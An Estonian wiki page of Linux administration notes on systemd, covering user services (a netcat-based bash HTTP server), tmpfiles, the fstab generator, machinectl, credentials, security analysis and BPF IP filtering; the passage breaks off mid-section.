Kui tavaliselt on kasutusel systemd põhises keskkonnas nn süsteemne systemd halduse lahendus, mis tegeleb teenus-protsessidega, siis systemd user service on selline asjakorraldus, kus sarnane tulemus saavutatakse tavakasutaja tingimustes. Üks võimalik lähtepunkt on, et süsteemi on tavakasutaja abil sisse logitud üle ssh ühes aknas&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# ps U priit&lt;br /&gt;
  20185 ?        Ss     0:00 /usr/lib/systemd/systemd --user&lt;br /&gt;
  20187 ?        S      0:00 (sd-pam)&lt;br /&gt;
  20201 ?        S      0:00 sshd-session: priit@pts/0&lt;br /&gt;
  20202 pts/0    Ss     0:00 -bash&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* sellega kaasneb kasutaja-põhise systemd protsessi töötamine&lt;br /&gt;
&lt;br /&gt;
ja teises aknas asutakse tegutsema&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# su - priit&lt;br /&gt;
priit@pwrk-02:~$ export XDG_RUNTIME_DIR=/run/user/1002&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* systemctl --user ... leiab selle XDG kataloogi suhtes standardsest asukohast systemd user soketi (/run/user/1002/systemd/private)&lt;br /&gt;
&lt;br /&gt;
systemd user service ehk kasutaja-põhine teenus paistab välja selline&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
priit@pwrk-02:~$ systemctl --user list-units | grep http&lt;br /&gt;
  bash-http-server.service    loaded active running   Bash Netcat HTTP Microservice&lt;br /&gt;
&lt;br /&gt;
priit@pwrk-02:~$ systemctl --user status bash-http-server.service&lt;br /&gt;
● bash-http-server.service - Bash Netcat HTTP Microservice&lt;br /&gt;
     Loaded: loaded (/home/priit/.config/systemd/user/bash-http-server.service; enabled; preset: enabled)&lt;br /&gt;
     Active: active (running) since Sun 2025-10-12 20:39:01 UTC; 21min ago&lt;br /&gt;
   Main PID: 910 (bash-http-serve)&lt;br /&gt;
      Tasks: 2 (limit: 9410)&lt;br /&gt;
     Memory: 704.0K (peak: 1.4M)&lt;br /&gt;
        CPU: 5ms&lt;br /&gt;
     CGroup: /user.slice/user-1002.slice/user@1002.service/app.slice/bash-http-server.service&lt;br /&gt;
             ├─910 /bin/bash /home/priit/bin/bash-http-server&lt;br /&gt;
             └─913 nc -l -p 5100 -q 1&lt;br /&gt;
&lt;br /&gt;
Oct 12 20:39:01 pwrk-02 systemd[869]: Started bash-http-server.service - Bash Netcat HTTP Microservice.&lt;br /&gt;
&lt;br /&gt;
priit@pwrk-02:~$ curl http://127.0.0.1:5100&lt;br /&gt;
&amp;lt;h1&amp;gt;Hello from the Bash Server Service!&amp;lt;/h1&amp;gt;&amp;lt;p&amp;gt;Running as user: priit&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
vastavad protsessid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# ps U priit&lt;br /&gt;
    PID TTY      STAT   TIME COMMAND&lt;br /&gt;
    885 ?        Ss     0:00 /usr/lib/systemd/systemd --user&lt;br /&gt;
    889 ?        S      0:00 (sd-pam)&lt;br /&gt;
    923 ?        Ss     0:00 /bin/bash /home/priit/bin/bash-http-server&lt;br /&gt;
    929 ?        S      0:00 nc -l -p 5100 -q 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* haldav protsess (systemd --user) töötab sama kasutajana nagu hallatav protsess (bash-http-server ja nc) - võib olla ei ole see parim isolatsioon&lt;br /&gt;
&lt;br /&gt;
programmi on selline&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
priit@pwrk-02:~$ cat /home/priit/bin/bash-http-server&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
# A simple, single-page HTTP server using Netcat&lt;br /&gt;
&lt;br /&gt;
# Port to listen on (high port recommended for unprivileged user)&lt;br /&gt;
LISTEN_PORT=5100&lt;br /&gt;
&lt;br /&gt;
# The HTTP response content&lt;br /&gt;
HTTP_CONTENT=&amp;quot;&amp;lt;h1&amp;gt;Hello from the Bash Server Service!&amp;lt;/h1&amp;gt;&amp;lt;p&amp;gt;Running as user: $(whoami)&amp;lt;/p&amp;gt;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# HTTP headers&lt;br /&gt;
HTTP_RESPONSE=&amp;quot;HTTP/1.1 200 OK\r\n&amp;quot;&lt;br /&gt;
HTTP_RESPONSE+=&amp;quot;Content-Type: text/html\r\n&amp;quot;&lt;br /&gt;
HTTP_RESPONSE+=&amp;quot;Content-Length: ${#HTTP_CONTENT}\r\n&amp;quot;&lt;br /&gt;
HTTP_RESPONSE+=&amp;quot;\r\n&amp;quot;&lt;br /&gt;
HTTP_RESPONSE+=&amp;quot;${HTTP_CONTENT}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Loop forever, listening for connections and serving the response&lt;br /&gt;
while true; do&lt;br /&gt;
    # Use netcat to listen on the port, process one request, and close.&lt;br /&gt;
    # The 'echo' ensures the response is sent back.&lt;br /&gt;
    printf &amp;quot;%b&amp;quot; &amp;quot;$HTTP_RESPONSE&amp;quot; | nc -l -p $LISTEN_PORT -q 1&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
priit@pwrk-02:~$ chmod 0755 /home/priit/bin/bash-http-server&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kasutaja-põhine systemd unit service&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
priit@pwrk-02:~$ mkdir -p .config/systemd/user&lt;br /&gt;
priit@pwrk-02:~$ cat .config/systemd/user/bash-http-server.service&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=Bash Netcat HTTP Microservice&lt;br /&gt;
&lt;br /&gt;
After=network-online.target&lt;br /&gt;
Wants=network-online.target&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
ExecStart=/home/priit/bin/bash-http-server&lt;br /&gt;
Restart=always&lt;br /&gt;
RestartSec=5s&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
# This is typically the correct target for persistent user services&lt;br /&gt;
WantedBy=default.target&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lülitatakse sisse kasutaja nö lingerdamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
imre@pwrk-02:~$ loginctl enable-linger priit&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
loetakse sisse systemd seadistuse muudatused&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
priit@pwrk-02:~$ systemctl --user daemon-reload&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning aktiveeritakse teenus + käivitatakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
priit@pwrk-02:~$ systemctl --user enable --now bash-http-server.service&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ootus on, et tulemusena käib teenus, nagu lõigu alguses on esitatud.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://wiki.archlinux.org/index.php/Systemd/User&lt;br /&gt;
* https://unix.stackexchange.com/questions/251211/why-doesnt-my-systemd-user-unit-start-at-boot&lt;br /&gt;
* https://www.brendanlong.com/systemd-user-services-are-amazing.html&lt;br /&gt;
&lt;br /&gt;
===journald user logs===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===tmpfiles-setup===&lt;br /&gt;
&lt;br /&gt;
tmpfiles-setup haldab programmide ajutiste jms failide jaoks kataloogide olemasolu eest&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ls -ld /usr/lib/tmpfiles.d/*&lt;br /&gt;
-rw-r--r-- 1 root root  238 Dec  2  2015 /usr/lib/tmpfiles.d/00rsyslog.conf&lt;br /&gt;
-rw-r--r-- 1 root root  153 Dec  2  2015 /usr/lib/tmpfiles.d/dbus.conf&lt;br /&gt;
-rw-r--r-- 1 root root  577 Jul  5 16:56 /usr/lib/tmpfiles.d/debian.conf&lt;br /&gt;
-rw-r--r-- 1 root root  362 Jul 19 02:56 /usr/lib/tmpfiles.d/home.conf&lt;br /&gt;
-rw-r--r-- 1 root root 1098 Jul 19 02:56 /usr/lib/tmpfiles.d/journal-nocow.conf&lt;br /&gt;
-rw-r--r-- 1 root root  812 Jul 19 02:56 /usr/lib/tmpfiles.d/legacy.conf&lt;br /&gt;
-rw-r--r-- 1 root root   61 Apr 16  2016 /usr/lib/tmpfiles.d/lvm2.conf&lt;br /&gt;
-rw-r--r-- 1 root root  239 Feb  5  2016 /usr/lib/tmpfiles.d/passwd.conf&lt;br /&gt;
-rw-r--r-- 1 root root  176 Feb 21  2016 /usr/lib/tmpfiles.d/postgresql.conf&lt;br /&gt;
-rw-r--r-- 1 root root   33 Jun  9  2015 /usr/lib/tmpfiles.d/screen-cleanup.conf&lt;br /&gt;
-rw-r--r-- 1 root root   31 Mar 16  2017 /usr/lib/tmpfiles.d/sshd.conf&lt;br /&gt;
-rw-r--r-- 1 root root  313 Jul  4 10:37 /usr/lib/tmpfiles.d/sudo.conf&lt;br /&gt;
-rw-r--r-- 1 root root 1544 Jul 19 02:56 /usr/lib/tmpfiles.d/systemd.conf&lt;br /&gt;
-rw-r--r-- 1 root root  496 Jul 19 02:56 /usr/lib/tmpfiles.d/systemd-nologin.conf&lt;br /&gt;
-rw-r--r-- 1 root root  637 Jul 19 02:56 /usr/lib/tmpfiles.d/tmp.conf&lt;br /&gt;
-rw-r--r-- 1 root root  532 Jul 19 02:56 /usr/lib/tmpfiles.d/var.conf&lt;br /&gt;
-rw-r--r-- 1 root root  623 Jul 19 02:56 /usr/lib/tmpfiles.d/x11.conf&lt;br /&gt;
-rw-r--r-- 1 root root   41 Aug 16 12:13 /usr/lib/tmpfiles.d/zabbix-agent.conf&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Timer===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
 # systemctl list-timers&lt;br /&gt;
 NEXT                          LEFT     LAST                          PASSED  UNIT                         ACTIVATES&lt;br /&gt;
 Tue 2017-07-25 06:52:49 EEST  6h left  Mon 2017-07-24 06:49:40 EEST  17h ago apt-daily.timer              apt-daily.service&lt;br /&gt;
 Tue 2017-07-25 10:41:54 EEST  10h left Mon 2017-07-24 10:41:54 EEST  13h ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service&lt;br /&gt;
&lt;br /&gt;
===systemd-fstab-generator===&lt;br /&gt;
&lt;br /&gt;
Paistab, et systemd tekitab automaatselt /etc/fstab sisule vastavad unit failid /run alla, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /run/systemd/generator/var-lib-postgresql.mount &lt;br /&gt;
# Automatically generated by systemd-fstab-generator&lt;br /&gt;
&lt;br /&gt;
[Unit]&lt;br /&gt;
SourcePath=/etc/fstab&lt;br /&gt;
Documentation=man:fstab(5) man:systemd-fstab-generator(8)&lt;br /&gt;
Before=local-fs.target&lt;br /&gt;
Requires=systemd-fsck@dev-system-var_lib_postgresql.service&lt;br /&gt;
After=systemd-fsck@dev-system-var_lib_postgresql.service&lt;br /&gt;
&lt;br /&gt;
[Mount]&lt;br /&gt;
What=/dev/system/var_lib_postgresql&lt;br /&gt;
Where=/var/lib/postgresql&lt;br /&gt;
Type=ext4&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kui fstab sees kirjeldatud LVM voluumi nime jääb samaks, aga UUID muutub (nt olemasolev LVM volüüm kustutada ja tekitada asemele teine) ning öelda&lt;br /&gt;
&lt;br /&gt;
 # mount /var/lib/postgresql&lt;br /&gt;
&lt;br /&gt;
siis failisüsteem monteeritakse ja ühendatakse ka kohe lahti syslog tekstiga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Feb 20 00:57:33 ky-test kernel: [1210006.815639] EXT4-fs (dm-6): mounted filesystem with ordered data mode. Opts: discard&lt;br /&gt;
Feb 20 00:57:33 ky-test systemd[1]: var-lib-postgresql.mount: Unit is bound to inactive unit dev-system-var_lib_postgresql.device. Stopping, too.&lt;br /&gt;
Feb 20 00:57:33 ky-test systemd[1]: Unmounting /var/lib/postgresql...&lt;br /&gt;
Feb 20 00:57:33 ky-test systemd[1]: Unmounted /var/lib/postgresql.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lahenduseks on öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl daemon-reload&lt;br /&gt;
&lt;br /&gt;
===Märkused===&lt;br /&gt;
&lt;br /&gt;
* kerneli mooduleid loeb käivitamisel systemd-modules-load&lt;br /&gt;
&lt;br /&gt;
 systemd-modules-load.service&lt;br /&gt;
&lt;br /&gt;
Seadistusfailiks on&lt;br /&gt;
&lt;br /&gt;
 # ls -ld /etc/modules-load.d/modules.conf &lt;br /&gt;
 lrwxrwxrwx 1 root root 10 Oct  9 14:58 /etc/modules-load.d/modules.conf -&amp;gt; ../modules&lt;br /&gt;
&lt;br /&gt;
systemd komponente kasutavas operatsioonisüsteemis töötavad nt sellised protsessid&lt;br /&gt;
&lt;br /&gt;
 # ps aux | grep '/lib/systemd/systemd-'&lt;br /&gt;
 root       173  0.0  0.5  28188  2912 ?        Ss   15:39   0:00 /lib/systemd/systemd-journald&lt;br /&gt;
 root       190  0.0  0.7  44072  4000 ?        Ss   15:39   0:00 /lib/systemd/systemd-udevd&lt;br /&gt;
 systemd+   388  0.0  0.4  97952  2312 ?        Ssl  15:39   0:00 /lib/systemd/systemd-timesyncd&lt;br /&gt;
 root       396  0.0  0.5  28352  2772 ?        Ss   15:39   0:00 /lib/systemd/systemd-logind&lt;br /&gt;
 systemd+   402  0.0  0.5  28504  2892 ?        Ss   15:39   0:00 /lib/systemd/systemd-networkd&lt;br /&gt;
 systemd+  1004  0.0  0.5  31340  2880 ?        Ss   16:00   0:00 /lib/systemd/systemd-resolved&lt;br /&gt;
&lt;br /&gt;
Tundub, et midagi teeb käsk systemd konfi muudatuste kehtestamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl daemon-reload&lt;br /&gt;
&lt;br /&gt;
Tugevamaks kehtestamiseks või nö jamade lahendamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl daemon-reexec&lt;br /&gt;
&lt;br /&gt;
===su ja sudo kasutamine===&lt;br /&gt;
&lt;br /&gt;
su/sudo/runuser programmide kasutamisel ei moodustada nö kasutaja keskkonda (environment)&lt;br /&gt;
&lt;br /&gt;
nende asemel annab nö autentsema tulemuse machinectl kasutamine, nt&lt;br /&gt;
&lt;br /&gt;
 # machinectl shell imre@&lt;br /&gt;
&lt;br /&gt;
nt on seejärel käivitatud sellised protsessid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
imre@ph-minio-01:~$ ps U imre&lt;br /&gt;
    PID TTY      STAT   TIME COMMAND&lt;br /&gt;
   1212 pts/1    Ss     0:00 /bin/bash&lt;br /&gt;
   1216 ?        Ss     0:00 /usr/lib/systemd/systemd --user&lt;br /&gt;
   1218 ?        S      0:00 (sd-pam)&lt;br /&gt;
   1251 pts/1    S      0:00 (sd-pam)&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja väärtustatud mitmesugused XDG keskkonnamuutujad&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ env | grep XDG&lt;br /&gt;
XDG_SESSION_TYPE=tty&lt;br /&gt;
XDG_SESSION_CLASS=user&lt;br /&gt;
XDG_SESSION_ID=29&lt;br /&gt;
XDG_RUNTIME_DIR=/run/user/1000&lt;br /&gt;
XDG_DATA_DIRS=/usr/local/share:/usr/share:/var/lib/snapd/deskto&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===LoadCredentials kasutamine===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-minio-01:~# systemctl edit nginx&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
LoadCredential=ssl_key:/etc/ssl/private/nginx.key&lt;br /&gt;
LoadCredential=ssl_cert:/etc/ssl/certs/nginx.crt&lt;br /&gt;
PrivateTmp=yes&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===systemd-analyze===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ph-minio-01:~$ systemd-analyze --user security nginx-07&lt;br /&gt;
  NAME                                                        DESCRIPTION                                                             EXPOSURE&lt;br /&gt;
✗ KeyringMode=                                                Service shares key material with other service                               0.2&lt;br /&gt;
  PrivateTmp=                                                 Service runs in special boot phase, option is not appropriate                   &lt;br /&gt;
  ProtectHome=                                                Service runs in special boot phase, option is not appropriate                   &lt;br /&gt;
  ProtectSystem=                                              Service runs in special boot phase, option is not appropriate                   &lt;br /&gt;
  RootDirectory=/RootImage=                                   Service runs in special boot phase, option is not appropriate                   &lt;br /&gt;
  SupplementaryGroups=                                        Service runs as root, option does not matter                                    &lt;br /&gt;
  RemoveIPC=                                                  Service runs as root, option does not apply                                     &lt;br /&gt;
✗ User=/DynamicUser=                                          Service runs as root user                                                    0.4&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_TIME                         Service processes may change the system clock                                0.2&lt;br /&gt;
✗ NoNewPrivileges=                                            Service processes may acquire new privileges                                 0.2&lt;br /&gt;
✓ AmbientCapabilities=                                        Service process does not receive ambient capabilities                           &lt;br /&gt;
✗ PrivateDevices=                                             Service potentially has access to hardware devices                           0.2&lt;br /&gt;
✗ ProtectClock=                                               Service may write to the hardware clock or system clock                      0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_PACCT                        Service may use acct()                                                       0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_KILL                             Service may send UNIX signals to arbitrary processes                         0.1&lt;br /&gt;
✗ ProtectKernelLogs=                                          Service may read from or write to the kernel log ring buffer                 0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_WAKE_ALARM                       Service may program timers that wake up the system                           0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_(DAC_*|FOWNER|IPC_OWNER)         Service may override UNIX file/IPC permission checks                         0.2&lt;br /&gt;
✗ ProtectControlGroups=                                       Service may modify the control group file system                             0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_LINUX_IMMUTABLE                  Service may mark files immutable                                             0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_IPC_LOCK                         Service may lock memory into RAM                                             0.1&lt;br /&gt;
✗ ProtectKernelModules=                                       Service may load or read kernel modules                                      0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_MODULE                       Service may load kernel modules                                              0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_BPF                              Service may load BPF programs                                                0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_TTY_CONFIG                   Service may issue vhangup()                                                  0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_BOOT                         Service may issue reboot()                                                   0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_CHROOT                       Service may issue chroot()                                                   0.1&lt;br /&gt;
✗ PrivateMounts=                                              Service may install system mounts                                            0.2&lt;br /&gt;
✗ SystemCallArchitectures=                                    Service may execute system calls with all ABIs                               0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_BLOCK_SUSPEND                    Service may establish wake locks                                             0.1&lt;br /&gt;
✗ MemoryDenyWriteExecute=                                     Service may create writable executable memory mappings                       0.1&lt;br /&gt;
✗ RestrictNamespaces=~user                                    Service may create user namespaces                                           0.3&lt;br /&gt;
✗ RestrictNamespaces=~pid                                     Service may create process namespaces                                        0.1&lt;br /&gt;
✗ RestrictNamespaces=~net                                     Service may create network namespaces                                        0.1&lt;br /&gt;
✗ RestrictNamespaces=~uts                                     Service may create hostname namespaces                                       0.1&lt;br /&gt;
✗ RestrictNamespaces=~mnt                                     Service may create file system namespaces                                    0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_LEASE                            Service may create file leases                                               0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_MKNOD                            Service may create device nodes                                              0.1&lt;br /&gt;
✗ RestrictNamespaces=~cgroup                                  Service may create cgroup namespaces                                         0.1&lt;br /&gt;
✗ RestrictSUIDSGID=                                           Service may create SUID/SGID files                                           0.2&lt;br /&gt;
✗ RestrictNamespaces=~ipc                                     Service may create IPC namespaces                                            0.1&lt;br /&gt;
✗ ProtectHostname=                                            Service may change system host/domainname                                    0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_(CHOWN|FSETID|SETFCAP)           Service may change file ownership/access mode/capabilities unrestricted      0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SET(UID|GID|PCAP)                Service may change UID/GID identities/capabilities                           0.3&lt;br /&gt;
✗ LockPersonality=                                            Service may change ABI personality                                           0.1&lt;br /&gt;
✗ ProtectKernelTunables=                                      Service may alter kernel tunables                                            0.2&lt;br /&gt;
✗ RestrictAddressFamilies=~AF_PACKET                          Service may allocate packet sockets                                          0.2&lt;br /&gt;
✗ RestrictAddressFamilies=~AF_NETLINK                         Service may allocate netlink sockets                                         0.1&lt;br /&gt;
✗ RestrictAddressFamilies=~AF_UNIX                            Service may allocate local sockets                                           0.1&lt;br /&gt;
✗ RestrictAddressFamilies=~…                                  Service may allocate exotic sockets                                          0.3&lt;br /&gt;
✗ RestrictAddressFamilies=~AF_(INET|INET6)                    Service may allocate Internet sockets                                        0.3&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_MAC_*                            Service may adjust SMACK MAC                                                 0.1&lt;br /&gt;
✗ RestrictRealtime=                                           Service may acquire realtime scheduling                                      0.1&lt;br /&gt;
✗ Delegate=                                                   Service maintains its own delegated control group subtree                    0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_RAWIO                        Service has raw I/O access                                                   0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_PTRACE                       Service has ptrace() debugging abilities                                     0.3&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_(NICE|RESOURCE)              Service has privileges to change resource use parameters                     0.1&lt;br /&gt;
✗ DeviceAllow=                                                Service has no device ACL                                                    0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_NET_ADMIN                        Service has network configuration privileges                                 0.2&lt;br /&gt;
✗ ProtectProc=                                                Service has full access to process tree (/proc hidepid=)                     0.2&lt;br /&gt;
✗ ProcSubset=                                                 Service has full access to non-process /proc files (/proc subset=)           0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_NET_(BIND_SERVICE|BROADCAST|RAW) Service has elevated networking privileges                                   0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_AUDIT_*                          Service has audit subsystem access                                           0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_ADMIN                        Service has administrator privileges                                         0.3&lt;br /&gt;
✗ PrivateNetwork=                                             Service has access to the host's network                                     0.5&lt;br /&gt;
✗ PrivateUsers=                                               Service has access to other users                                            0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYSLOG                           Service has access to kernel logging                                         0.1&lt;br /&gt;
✗ SystemCallFilter=~@clock                                    Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@cpu-emulation                            Service does not filter system calls                                         0.1&lt;br /&gt;
✗ SystemCallFilter=~@debug                                    Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@module                                   Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@mount                                    Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@obsolete                                 Service does not filter system calls                                         0.1&lt;br /&gt;
✗ SystemCallFilter=~@privileged                               Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@raw-io                                   Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@reboot                                   Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@resources                                Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@swap                                     Service does not filter system calls                                         0.2&lt;br /&gt;
✗ IPAddressDeny=                                              Service does not define an IP address allow list                             0.2&lt;br /&gt;
✗ NotifyAccess=                                               Service child processes may alter service state                              0.2&lt;br /&gt;
✗ UMask=                                                      Files created by service are world-readable by default                       0.1&lt;br /&gt;
&lt;br /&gt;
→ Overall exposure level for nginx-07.service: 9.9 UNSAFE 😨&lt;br /&gt;
kasutaja@ph-minio-01:~$ &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===bpf integratsioon===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* nö uuemal ajal on systemd ja bpf integreeritud, nt võrgu paketifiltri osas&lt;br /&gt;
* bpf integratsioon on seotud cgroup nähtusega, st kitsenduste tegemisel saab kaustada info võrguaadresside, systemd objektide (slice, service) jms kohta (selles mõttes paindlikum kui niisama iptables/nft kuigi ka seal on iseenesest kasutajaga seostamine olemas)&lt;br /&gt;
* bpf ei ole stateful tulemüür, st bpf on stateless (conntrack jms puudub)&lt;br /&gt;
* bpf palju suurema jõudlusega kui tava-paketifilter&lt;br /&gt;
&lt;br /&gt;
====Service====&lt;br /&gt;
&lt;br /&gt;
Tavalisse service unitisse lisada Service sektsiooni 'IPAddressAllow' ja 'IPAddressDeny' direktiive, nt (see on küll podmaniga seotud service generated variant)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# cat .config/containers/systemd/nginx-06.container&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=My Nginx Quadlet Service - 06&lt;br /&gt;
DefaultDependencies=no&lt;br /&gt;
After=network.target&lt;br /&gt;
&lt;br /&gt;
[Container]&lt;br /&gt;
Image=docker.io/library/nginx:alpine&lt;br /&gt;
PublishPort=8096:80&lt;br /&gt;
ContainerName=nginx-06&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
# Block all IP traffic by default&lt;br /&gt;
IPAddressDeny=any&lt;br /&gt;
# Then explicitly allow only what you need (e.g., your local subnet)&lt;br /&gt;
IPAddressAllow=192.168.10.0/24&lt;br /&gt;
IPAddressAllow=127.0.0.1&lt;br /&gt;
IPAddressAllow=8.8.8.8&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
# This tells systemd to start it when you log in&lt;br /&gt;
WantedBy=default.target&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* ipaddressallow ja deny väärtusi võrreldakse ip pakettide src ja destination aadressidega st piisab kui üks neist klapib&lt;br /&gt;
&lt;br /&gt;
Kehtestada muudatus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# systemctl --user daemon-reload&lt;br /&gt;
root@ph-minio-01:~# systemctl --user stop nginx-06&lt;br /&gt;
root@ph-minio-01:~# systemctl --user start nginx-06&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemuse uurimine, väätus id 185 on dünaamiline, õige saab ära vaadata 'bpftool prog show' väljundist&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# bpftool prog show id 185&lt;br /&gt;
185: cgroup_skb  name sd_fw_egress  tag df35b3b526089f21  gpl run_time_ns 1378480 run_cnt 1215&lt;br /&gt;
	loaded_at 2026-04-20T12:44:13+0300  uid 0&lt;br /&gt;
	xlated 184B  jited 140B  memlock 4096B  map_ids 51&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# bpftool prog show id 186&lt;br /&gt;
186: cgroup_skb  name sd_fw_ingress  tag 208d1bf35e7113d2  gpl run_time_ns 516780 run_cnt 1204&lt;br /&gt;
	loaded_at 2026-04-20T12:44:13+0300  uid 0&lt;br /&gt;
	xlated 184B  jited 140B  memlock 4096B  map_ids 51&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* run_cnt näitab kui mitmel korral on kitsendust rakendatud&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
